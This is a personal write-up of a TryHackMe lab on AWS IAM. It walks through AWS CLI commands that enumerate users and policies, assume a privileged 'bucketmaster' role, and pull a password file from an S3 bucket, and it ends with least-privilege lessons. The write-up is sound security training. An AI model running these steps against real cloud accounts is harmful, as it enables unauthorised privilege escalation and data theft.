Skip to main content

AWS Security

Overview

Room URL: https://tryhackme.com/room/cloudenum-aoc2025-y4u7i0o3p6
Difficulty:
Category:
Date Completed:

Objectives

  • Learn the basics of AWS accounts.
  • Enumerate the privileges granted to an account, from an attacker's perspective.
  • Familiarise yourself with the AWS CLI.

Table of Contents

Introduction
Walk Through
Lessons Learned
Resources

Introduction

This challenge, featured on TryHackMe's platform, falls under the Cloud Security category and focuses on Amazon Web Services (AWS) Identity and Access Management (IAM) vulnerabilities. The scenario places participants in the role of an investigator who has obtained credentials belonging to a user named "sir.carrotbane" within King Malhare's kingdom. The objective is to enumerate AWS resources, identify privilege escalation paths through IAM role assumption, and ultimately exfiltrate sensitive data from an S3 bucket. This challenge provides hands-on experience with the AWS CLI and demonstrates how misconfigured IAM policies can lead to unauthorized access—a vulnerability that has affected major organizations like Toyota, Accenture, and Verizon in real-world incidents.

Key Information

IAM Enumeration

  • aws iam list-users - Enumerate all users in the account
  • aws iam list-user-policies - Identify inline policies
  • aws iam get-user-policy - Retrieve policy documents
  • aws iam list-roles - Discover available roles
  • aws iam get-role-policy - Examine role permissions STS Commands
  • aws sts get-caller-identity - Verify current identity
  • aws sts assume-role - Obtain temporary credentials for role assumption S3 Commands
  • aws s3api list-buckets - List all S3 buckets
  • aws s3api list-objects - Enumerate bucket contents
  • aws s3api get-object - Download files from buckets

Walk Through

  1. Start target machine
  2. aws sts get-caller-identity
    1. 123456789012
  3. What IAM component is used to describe the permissions to be assigned to a user or a group?
    1. policy
  4. What is the name of the policy assigned to sir.carrotbane?
    1. aws iam list-users
      1. Pasted image 20251226141136.png
    2. aws iam list-user-policies --user-name sir.carrotbane
      1. Pasted image 20251226141407.png
    3. aws iam list-attached-user-policies --user-name sir.carrotbane
      1. Pasted image 20251226141208.png
    4. aws iam list-groups-for-user --user-name sir.carrotbane
      1. Pasted image 20251226141238.png
    5. aws iam get-user-policy --policy-name SirCarrotbanePolicy --user-name sir.carrotbane
      1. Pasted image 20251226141526.png
  5. Apart from GetObject and ListBucket, what other action can be taken by assuming the bucketmaster role?
    1. aws iam list-roles
      1. Pasted image 20251226141659.png
    2. aws iam list-role-policies --role-name bucketmaster
      1. Pasted image 20251226141744.png
    3. aws iam list-attached-role-policies --role-name bucketmaster
      1. Pasted image 20251226141819.png
    4. aws iam get-role-policy --role-name bucketmaster --policy-name BucketMasterPolicy
      1. Pasted image 20251226141910.png
    5. aws sts assume-role --role-arn arn:aws:iam::123456789012:role/bucketmaster --role-session-name TBFC
      1. Pasted image 20251226141945.png
    6. export AWS_ACCESS_KEY_ID="ASIAxxxxxxxxxxxx"
    7. export AWS_SECRET_ACCESS_KEY="abcd1234xxxxxxxxxxxx"
    8. export AWS_SESSION_TOKEN="FwoGZXIvYXdzEJr..."
    9. aws sts get-caller-identity
      1. Pasted image 20251226142322.png
    10. ListAllMyBuckets
  6. What are the contents of the cloud_password.txt file?
    1. aws s3api list-buckets
      1. Pasted image 20251226142520.png
    2. aws s3api list-objects --bucket easter-secrets-123145
      1. Pasted image 20251226142614.png
    3. aws s3api get-object --bucket easter-secrets-123145 --key cloud_password.txt cloud_password.txt
      1. Pasted image 20251226142709.png
    4. cat cloud_password.txt
      1. THM{-----------------_------}
      2. Pasted image 20251226142832.png

Lessons Learned

  • Principle of Least Privilege Violated: The sir.carrotbane user was granted excessive IAM enumeration permissions without business justification. Access should be restricted to only the resources and actions absolutely necessary for a user's role.
  • Dangerous Permission Combinations: Granting sts:AssumeRole alongside broad IAM enumeration creates a privilege escalation pathway. These permissions should be tightly controlled and monitored, as they allow users to discover and assume more privileged roles.
  • Role Trust Policies Need Scrutiny: The bucketmaster role's trust policy explicitly allowed sir.carrotbane to assume it. Trust policies should follow the principle of least privilege and be regularly audited to ensure only authorized principals can assume roles.

Resources

TryHackMe
AWS CLI
CheatSheet

Back to top